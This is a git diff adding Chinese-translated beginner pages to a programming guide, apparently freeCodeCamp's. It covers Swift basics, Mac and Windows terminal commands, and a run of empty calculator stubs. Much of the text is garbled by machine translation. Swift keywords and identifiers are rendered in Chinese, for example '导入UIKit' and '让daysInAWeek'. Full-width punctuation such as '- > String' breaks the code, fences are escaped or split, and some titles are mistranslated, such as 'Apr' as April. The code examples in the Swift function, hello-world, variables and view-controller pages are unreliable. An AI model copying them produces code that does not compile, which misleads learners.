+
+```swift
+    // Hello, single-line comment! 
+```
+
+多行注释以正斜杠开头，后跟星号`/*` ，以星号后跟正斜杠`*/`
+
+#### 例：
+
+```swift
+   /* Hello, 
+   multiline-line comment! */ 
+```
+
+#### 更多信息：
+
+*   [Swift编程语言](https://docs.swift.org/swift-book/LanguageGuide/TheBasics.html#ID315)
\ No newline at end of file
diff --git a/client/src/guide/chinese/swift/constants/index.md b/client/src/guide/chinese/swift/constants/index.md
new file mode 100644
index 0000000000..8935d23c36
--- /dev/null
+++ b/client/src/guide/chinese/swift/constants/index.md
@@ -0,0 +1,23 @@
+---
+title: Constants
+localeTitle: 常量
+---
+## 常量
+
+常量将名称与特定类型的值相关联。
+
+#### 例：
+
+```swift
+let name = "Chris Lattner" 
+```
+
+使用`let`关键字声明常量然后为其指定`name`然后使用赋值运算符`=`将值`"Chris Lattner"`赋值给常量`name` 。
+
+一旦声明了常量，就不再需要使用`let`关键字了，只需按名称调用它即可。
+
+一旦设定，就不能改变常数的值。
+
+#### 更多信息：
+
+*   [Swift编程语言](https://docs.swift.org/swift-book/LanguageGuide/TheBasics.html#ID310)
\ No newline at end of file
diff --git a/client/src/guide/chinese/swift/functions/index.md b/client/src/guide/chinese/swift/functions/index.md
new file mode 100644
index 0000000000..5960a663ff
--- /dev/null
+++ b/client/src/guide/chinese/swift/functions/index.md
@@ -0,0 +1,15 @@
+---
+title: Functions
+localeTitle: 功能
+---
+## 功能
+
+Swift中的函数由参数和返回类型组成。可以使用以下基本结构创建函数： \`\`\`斯威夫特 func sayHello（nameOfPerson：String） - > String { let hello =“Hello，”+ nameOfPerson +“。” 打印（你好） }
+
+sayHello（nameOfPerson：“史蒂夫”） ` `` In this example, the function sayHello takes in a string name and prints out the phrase` “Hello，Steve。”。
+
+## 功能参数
+
+函数不需要任何输入参数或返回类型。但是，在命名函数后，这需要括号。 \`\`\`斯威夫特 func helloSteve（）{ 打印（“你好，史蒂夫。”） }
+
+helloSteve（）//打印出“Hello，Steve”。 \`\`\`
\ No newline at end of file
diff --git a/client/src/guide/chinese/swift/hello-world/index.md b/client/src/guide/chinese/swift/hello-world/index.md
new file mode 100644
index 0000000000..3669efb60e
--- /dev/null
+++ b/client/src/guide/chinese/swift/hello-world/index.md
@@ -0,0 +1,26 @@
+---
+title: Hello World Swift
+localeTitle: Hello World Swift
+---
+＃＃ 你好，世界
+
+只有我们必须将方法`print("Hello World")` （从库UIKit）添加到类ViewController的函数`viewDidLoad()`中：
+
+\`\`\`斯威夫特 导入UIKit
+
+class ViewController：UIViewController {
+```
+override func viewDidLoad() { 
+    super.viewDidLoad() 
+    // Do any additional setup after loading the view, typically from a nib. 
+ 
+    print("Hello World") 
+ 
+ } 
+```
+
+} \`\`\`
+
+##输出： \`\`\`
+
+> 你好，世界 \`\`\`
\ No newline at end of file
diff --git a/client/src/guide/chinese/swift/index.md b/client/src/guide/chinese/swift/index.md
new file mode 100644
index 0000000000..cb7ea722d5
--- /dev/null
+++ b/client/src/guide/chinese/swift/index.md
@@ -0,0 +1,66 @@
+---
+title: Swift
+localeTitle: 迅速
+---
+![斯威夫特标志](https://developer.apple.com/assets/elements/icons/swift-playgrounds/swift-playgrounds-64x64_2x.png)
+
+# 什么是斯威夫特？
+
+Swift是Apple Inc.开发的一种[开源](https://en.wikipedia.org/wiki/Open-source_software)通用编程语言。他们将其描述为：
+
+> Swift是一种功能强大且直观的macOS，iOS，watchOS和tvOS编程语言。编写Swift代码是交互式和有趣的，语法简洁而富有表现力，Swift包含开发人员喜爱的现代功能。 Swift代码在设计上是安全的，而且还生成快速运行的软件。 1
+
+想立即试用Swift吗？ [Repl.it](https://repl.it/languages/swift)为Swift提供在线Read-Eval-Print循环。您将无法访问UIKit或其他常用的API，但请试一试！
+
+# 基本
+
+要在Swift中声明变量，只需使用var后跟变量名称。
+
+```Swift
+var x = 6 
+ var name = "Bob" 
+ var boole = true 
+ 
+ x = 3 
+```
+
+常量类似于变量，但它们在创建后不能更改值。
+
+```Swift
+let x = 6 
+ let name = "Bob" 
+ let boole = true 
+```
+
+要将任何内容打印到标准输出，只需使用print（）并将输出放在括号中。
+
+```Swift
+let x = "World" 
+ 
+ print("Hello ") 
+ print(x) 
+```
+
+# 版
+
+最新版本是[Swift 4.2](https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/RevisionHistory.html) ，发布于2018年9月17日.Swift不断发展，您可以期待未来有更多变化。建议您在启动新项目时使用最新版本的Swift。
+
+# 文档
+
+Swift记录很多。请记住，编写Swift不仅仅涉及到 使用语言，还有很多API。学习Swift的最好方法是制作一个 项目或应用程序，无论多小！
+
+*   [源代码](https://github.com/apple/swift)
+    
+*   [开发iOS应用程序（Swift）](https://developer.apple.com/library/content/referencelibrary/GettingStarted/DevelopiOSAppsSwift/) ：想要制作iOS应用程序吗？这是一个很好的起点。
+    
+*   [语言指南](https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/) ：概述了Swift中的每个功能。如果您在阅读其他人的代码时感到困惑，本文档可以为您提供帮助。
+    
+
+# 想了解更多？
+
+*   [RayWenderlich.com](https://www.raywenderlich.com/) ：有很多很棒的Swift和iOS开发教程。
+*   [使用Swift进行黑客攻击](https://www.hackingwithswift.com/read) ：一个完整​​的Swift教程，使用动手项目将您从初学者带到高级。
+
+### 来源
+
+1.  “Swift 4 - 强大的编程语言，也很容易学习。” Apple， [developer.apple.com](https://developer.apple.com/swift/) / swift，于2017年10月31日访问。
\ No newline at end of file
diff --git a/client/src/guide/chinese/swift/type-inference/index.md b/client/src/guide/chinese/swift/type-inference/index.md
new file mode 100644
index 0000000000..5974da2f1c
--- /dev/null
+++ b/client/src/guide/chinese/swift/type-inference/index.md
@@ -0,0 +1,29 @@
+---
+title: Type Inference
+localeTitle: 类型推断
+---
+## 类型推断
+
+Swift使用类型推断。因此，如果您编写一些代码，例如下面示例中的代码，那么每种类型的代码都非常明显。
+
+#### 例：
+
+```swift
+    let iPhone: String = “iPhone” 
+    let yearIntroduced: Int = 2007 
+    let isAwesome: Bool = true 
+```
+
+所以我们可以清理代码看起来像下面的例子，Swift可以推断出使用的类型。
+
+#### 例：
+
+```swift
+    let iPhone = “iPhone”       // Inferred as String 
+    let yearIntroduced = 2007   // Inferred as Int 
+    let isAwesome = true        // Inferred as Bool 
+```
+
+#### 更多信息：
+
+*   [Swift编程语言](https://docs.swift.org/swift-book/LanguageGuide/TheBasics.html#ID322)
\ No newline at end of file
diff --git a/client/src/guide/chinese/swift/variables/index.md b/client/src/guide/chinese/swift/variables/index.md
new file mode 100644
index 0000000000..67a54df2fc
--- /dev/null
+++ b/client/src/guide/chinese/swift/variables/index.md
@@ -0,0 +1,40 @@
+---
+title: Variables
+localeTitle: 变量
+---
+## 变量
+
+变量将名称与特定类型的值相关联。在Swift中，有两种主要的方法来创建变量。 `let`和`var` 。要声明常量，请使用`let`关键字。要声明可变变量，请使用`var`关键字。
+
+在Swift中存储变量的两种方法的好处是防止变化应该是常量的变量的错误。
+
+\`\`\`斯威夫特 让daysInAWeek = 7 var amountOfMoney = 100
+
+amountOfMoney = 150 // amountOfMoney现在是150
+
+daysInAWeek = 10 //这给了我们一个错误！
+
+\`\`\`
+
+在这种情况下，变量`daysInAWeek`应该是常量，因为一周只有七天，而变量`amountOfMoney`应该是var，因为一个帐户中的金额变化。
+
+常量和变量名称几乎可以包含任何字符，包括Unicode字符：
+
+```Swift
+  let π = 3.14159 
+  let 你好 = "你好世界" 
+  let 🐶🐮 = "dogcow" 
+```
+
+要测试变量是否具有正确的值，请使用`print()` 。
+
+```Swift
+  let money = 50 
+ 
+  print(money) 
+  // This prints 50 
+```
+
+#### 更多信息：
+
+*   [Swift编程语言](https://docs.swift.org/swift-book/LanguageGuide/TheBasics.html#ID310)
\ No newline at end of file
diff --git a/client/src/guide/chinese/swift/view-controller/index.md b/client/src/guide/chinese/swift/view-controller/index.md
new file mode 100644
index 0000000000..b750b7808b
--- /dev/null
+++ b/client/src/guide/chinese/swift/view-controller/index.md
@@ -0,0 +1,16 @@
+---
+title: View Controllers
+localeTitle: 查看控制器
+---
+## 查看控制器
+
+这是Swift中基本视图的示例。
+
+\`\`\`斯威夫特 导入UIKit
+
+class ViewController：UIViewController { // 1 override func viewDidLoad（）{ // 2 super.viewDidLoad（） // 3 view.backgroundColor = .white }  
+} \`\`\`
+
+1.  控制器加载后加载视图。
+2.  覆盖UIViewController类。这是任何视图控制器的必要步骤。
+3.  将背景颜色设置为白色。
\ No newline at end of file
diff --git a/client/src/guide/chinese/terminal-commandline/index.md b/client/src/guide/chinese/terminal-commandline/index.md
new file mode 100644
index 0000000000..8622091518
--- /dev/null
+++ b/client/src/guide/chinese/terminal-commandline/index.md
@@ -0,0 +1,5 @@
+---
+title: Terminal/Command Prompt
+localeTitle: 终端/命令提示符
+---
+# 终端/命令提示符
\ No newline at end of file
diff --git a/client/src/guide/chinese/terminal-commandline/macos-terminal/index.md b/client/src/guide/chinese/terminal-commandline/macos-terminal/index.md
new file mode 100644
index 0000000000..bde0b57bb8
--- /dev/null
+++ b/client/src/guide/chinese/terminal-commandline/macos-terminal/index.md
@@ -0,0 +1,62 @@
+---
+title: Mac OS Terminal
+localeTitle: Mac OS终端
+---
+# 在Mac OS中使用终端
+
+大多数时候，用户通过图形用户界面进行交互以与计算机进行交互。您可以使用鼠标指向并单击以打开，移动或创建新文件或打开应用程序。但是，您也可以使用终端应用程序通过编写的命令与您的机器进行交互。当您使用终端时，它允许您深入挖掘并以通过GUI无法实现的方式进行自定义。
+
+### 打开终端和导航目录
+
+您的终端存在于Applications目录中。打开终端应用。您应该在终端窗口中看到提示。它应该有计算机的名称（ABC的Macbook），然后是用户名（ABC），然后是'$'。如果您在根目录中，则最后一个字符将是“＃”。
+
+要查看您正在使用的目录，只需键入命令即可
+
+`pwd`
+
+pwd代表“打印工作目录”。目录是文件夹的另一个词。
+
+如果要列出目录的内容，请使用以下命令：
+
+`ls`
+
+要切换到新目录，请使用以下命令：
+
+`cd`
+
+它代表更改目录。
+
+以下是常用命令列表：
+
+命令|用法 ------------ | ------------- pwd |打印工作目录（我在哪里？） ls |列出当前目录的内容 mkdir |创建一个新目录 触摸|创建一个新文件 CP |复制文件 rm |删除文件 rm -rf |删除目录
+
+### 用法示例
+
+如果没有示例，上述某些命令就不清楚了。以下是一些用法示例，可帮助您提供一些上下文。
+
+#### 制作目录
+
+`mkdir #YOUR-NEW-FOLDER-NAME-HERE`
+
+#### 制作文件
+
+`touch YOUR-FILE-NAME.JS`
+
+您可以使用您选择的任何扩展名创建文件。只要它是文件夹或机器接受的格式。
+
+#### 复制文件
+
+使用以下语法从终端复制文件：
+
+**cp _源_ _目的地_**
+
+例如，如果我们有一个文件_'test.txt'_存储在我们的_/ Desktop_目录中，我们想将它复制到_/ Documents_文件夹，我们的命令将如下所示：
+```
+cp ~/Desktop/test.txt ~/Documents 
+```
+
+#### 删除文件
+
+使用以下语法删除文件
+
+**rm _#PATH_ TO _FILE_**
\ No newline at end of file
diff --git a/client/src/guide/chinese/terminal-commandline/windows-command-prompt/index.md b/client/src/guide/chinese/terminal-commandline/windows-command-prompt/index.md
new file mode 100644
index 0000000000..a0456d2c83
--- /dev/null
+++ b/client/src/guide/chinese/terminal-commandline/windows-command-prompt/index.md
@@ -0,0 +1,60 @@
+---
+title: Windows Command Prompt
+localeTitle: Windows命令提示符
+---
# 在Windows中使用命令提示符
+
+Windows，MacOS和Linux都有命令行界面。 Windows的默认命令行是命令提示符。命令提示符允许用户在不指向和单击鼠标的情况下使用他们的计算机。命令提示符是黑屏，用户键入命令以使用其计算机。使用鼠标指向和单击可以完成的相同任务也可以使用命令提示符完成。不同之处在于，在命令提示符下可以更快地完成许多任务，例如创建文件夹和删除文件。此外，它允许用户配置他们的计算机并运行他们通过指向和单击无法执行的程序。
+
+## 打开命令提示符
+
+要访问命令提示符，请单击桌面工具栏上的Windows开始菜单（您也可以按键盘上的Windows按钮）并键入`cmd`并按`enter` 。将出现命令提示符，它将显示一些文本，如下所示： \`\`\` C：\\ Users \\用户YourUserName>
+```
+## Navigating Directories (Moving through folders) 
+ `C:\Users\YourUserName` is called your current working directory (directory is another way to say folder). It is like a street address that tells you where you are on your computer. The current working directory can be a guide as you navigate through your computer. On the right of the `>` we can type `cd`, which stands for Change Directory, and the name of a directory that you want to navigate to. In this case we will type `Documents`. Enter `cd Documents` and your current working directory should look like the following: 
+```
+
+C：\\ Users \\用户YourUserName \\文件>
+```
+To go back one directory type and enter `cd..`. Your current working directory should return to this: 
+```
+
+C：\\ Users \\用户YourUserName>
+```
+With the `cd` and `cd ..` commands you can move back and forth through directories. This might seem very basic at first but as you learn more commands the command prompt will become a very useful and efficient tool. 
+ 
+ ## Here is a list of common commands: 
+ | Command | Description  | 
+ |---------|--------------| 
+ |`help`   |Lists commands that can be used| 
+ |  `dir`  |Lists the current directories contents| 
+ |`dir /a` |Shows hidden files| 
+ | `mkdir` |Creates a new directory| 
+ | `rmdir` |Deletes a directory (if empty)| 
+ | `rmdir /s`|Deletes a folder and its contents 
+ | `cls`  |Clears the command prompt screen 
+ | `exit`|Closes the command prompt 
+ 
+ ## Usage Examples: 
+ #### Making a Directory 
+```
+
+你_想_ to\_make _的_ _目录_名的mkdir
+```
+#### Getting Info on a Command 
+```
+
+your\_command /？
+```
+#### Deleting a File and Contents 
+```
+
+目录_的_ RM / s的名称__要__删除 \`\`\`
+
+## 有用的提示：
+
+*   命令`Ipconfig`显示计算机的IP地址
+*   如果您键入目录名称的一部分并按`tab`键，命令提示符将自动完成它，如果您反复按`tab`键，它将循环显示以相同字母开头的目录
+*   您可以使用其他shell或工具（如git bash或cmder）向命令提示符添加更多命令和功能
+*   某些任务要求您以管理员身份运行命令提示符，单击Windows按钮并键入`cmd admin`并按`enter`键
+*   如果您知道文件或目录的路径可以键入`cd PATH_TO_YOUR_DIRECTORY`而不是多次更改目录以访问目录或文件
+*   当您点击向上箭头键时，将出现您之前输入的命令，如果您反复点击它，它将循环显示您之前输入的所有命令
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/401k-calculator/index.md b/client/src/guide/chinese/tools/calculators/401k-calculator/index.md
new file mode 100644
index 0000000000..2bbcdf8ccd
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/401k-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: 401k Calculator
+localeTitle: 401k计算器
+---
+## 401k计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/401k-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/amortization-calculator/index.md b/client/src/guide/chinese/tools/calculators/amortization-calculator/index.md
new file mode 100644
index 0000000000..427e88f9af
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/amortization-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Amortization Calculator
+localeTitle: 摊销计算器
+---
+## 摊销计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/amortization-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/apr-calculator/index.md b/client/src/guide/chinese/tools/calculators/apr-calculator/index.md
new file mode 100644
index 0000000000..704d07bba2
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/apr-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Apr Calculator
+localeTitle: 4月计算器
+---
+## 4月计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/apr-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/area-calculator/index.md b/client/src/guide/chinese/tools/calculators/area-calculator/index.md
new file mode 100644
index 0000000000..3ff530895e
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/area-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Area Calculator
+localeTitle: 面积计算器
+---
+## 面积计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/area-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/auto-lease-calculator/index.md b/client/src/guide/chinese/tools/calculators/auto-lease-calculator/index.md
new file mode 100644
index 0000000000..b66162e7bd
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/auto-lease-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Auto Lease Calculator
+localeTitle: 自动租赁计算器
+---
+## 自动租赁计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/auto-lease-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/binary-calculator/index.md b/client/src/guide/chinese/tools/calculators/binary-calculator/index.md
new file mode 100644
index 0000000000..d82cadeee8
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/binary-calculator/index.md
@@ -0,0 +1,15 @@
+---
+title: Binary Calculator
+localeTitle: 二进制计算器
+---
+## 二进制计算器
+
+二进制计算器用于预先形成两个二进制数的加法，减法，乘法或除法。二进制计算器还可以将二进制值转换为十进制值，反之亦然。
+
+例如： 10101010 + 11001100 = 0101110110（二进制）或374（十进制）
+
+或者，10101010 x 11001100 = 01000011101111000（二进制）或34680（十进制）
+
+#### 更多信息：
+
+[您可以尝试的在线二进制计算器](http://www.calculator.net/binary-calculator.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/btu-calculator/index.md b/client/src/guide/chinese/tools/calculators/btu-calculator/index.md
new file mode 100644
index 0000000000..ede9146d4e
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/btu-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Btu Calculator
+localeTitle: Btu计算器
+---
+## Btu计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/btu-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/calorie-calculator/index.md b/client/src/guide/chinese/tools/calculators/calorie-calculator/index.md
new file mode 100644
index 0000000000..312b7d98b4
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/calorie-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Calorie Calculator
+localeTitle: 卡路里计算器
+---
+## 卡路里计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/calorie-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/circle-calculator/index.md b/client/src/guide/chinese/tools/calculators/circle-calculator/index.md
new file mode 100644
index 0000000000..1348b28940
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/circle-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Circle Calculator
+localeTitle: 圆计算器
+---
+## 圆计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/circle-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/coding-bootcamp-cost-calculator/index.md b/client/src/guide/chinese/tools/calculators/coding-bootcamp-cost-calculator/index.md
new file mode 100644
index 0000000000..c1a0630486
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/coding-bootcamp-cost-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Coding Bootcamp Cost Calculator
+localeTitle: 编码训练营成本计算器
+---
+## 编码训练营成本计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/coding-bootcamp-cost-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/combinations-and-permutations-calculator/index.md b/client/src/guide/chinese/tools/calculators/combinations-and-permutations-calculator/index.md
new file mode 100644
index 0000000000..bb9c03e2bd
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/combinations-and-permutations-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Combinations and Permutations Calculator
+localeTitle: 组合和排列计算器
+---
+## 组合和排列计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/combinations-and-permutations-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/complex-number-calculator/index.md b/client/src/guide/chinese/tools/calculators/complex-number-calculator/index.md
new file mode 100644
index 0000000000..b78b533cf7
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/complex-number-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Complex Number Calculator
+localeTitle: 复数计算器
+---
+## 复数计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/complex-number-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/conception-calculator/index.md b/client/src/guide/chinese/tools/calculators/conception-calculator/index.md
new file mode 100644
index 0000000000..5102e41f47
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/conception-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Conception Calculator
+localeTitle: 概念计算器
+---
+## 概念计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/conception-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/confidence-interval-calculator/index.md b/client/src/guide/chinese/tools/calculators/confidence-interval-calculator/index.md
new file mode 100644
index 0000000000..4d86227938
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/confidence-interval-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Confidence Interval Calculator
+localeTitle: 置信区间计算器
+---
+## 置信区间计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/confidence-interval-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/conversion-calculator/index.md b/client/src/guide/chinese/tools/calculators/conversion-calculator/index.md
new file mode 100644
index 0000000000..769737163e
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/conversion-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Conversion Calculator
+localeTitle: 转换计算器
+---
+## 转换计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/conversion-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/date-calculator/index.md b/client/src/guide/chinese/tools/calculators/date-calculator/index.md
new file mode 100644
index 0000000000..1397487dee
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/date-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Date Calculator
+localeTitle: 数据计算器
+---
+## 日期计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/date-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/density-calculator/index.md b/client/src/guide/chinese/tools/calculators/density-calculator/index.md
new file mode 100644
index 0000000000..8205f05465
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/density-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Density Calculator
+localeTitle: 密度计算器
+---
+## 密度计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/density-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/exponent-calculator/index.md b/client/src/guide/chinese/tools/calculators/exponent-calculator/index.md
new file mode 100644
index 0000000000..128d372c70
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/exponent-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Exponent Calculator
+localeTitle: 指数计算器
+---
+## 指数计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/exponent-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/finance-calculator/index.md b/client/src/guide/chinese/tools/calculators/finance-calculator/index.md
new file mode 100644
index 0000000000..b0b06a0703
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/finance-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Finance Calculator
+localeTitle: 金融计算器
+---
+## 金融计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/finance-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/financial-calculator/index.md b/client/src/guide/chinese/tools/calculators/financial-calculator/index.md
new file mode 100644
index 0000000000..91d5092181
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/financial-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Financial Calculator
+localeTitle: 金融计算器
+---
+## 金融计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/financial-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/fraction-calculator/index.md b/client/src/guide/chinese/tools/calculators/fraction-calculator/index.md
new file mode 100644
index 0000000000..d4258baa34
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/fraction-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Fraction Calculator
+localeTitle: 分数计算器
+---
+## 分数计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/fraction-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/future-value-calculator/index.md b/client/src/guide/chinese/tools/calculators/future-value-calculator/index.md
new file mode 100644
index 0000000000..e4d1b9ff9c
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/future-value-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Future Value Calculator
+localeTitle: 未来价值计算器
+---
+## 未来价值计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/future-value-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/gpa-calculator/index.md b/client/src/guide/chinese/tools/calculators/gpa-calculator/index.md
new file mode 100644
index 0000000000..f1ae4bbda7
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/gpa-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Gpa Calculator
+localeTitle: Gpa计算器
+---
+## Gpa计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/gpa-calculator/index.md) 。
+
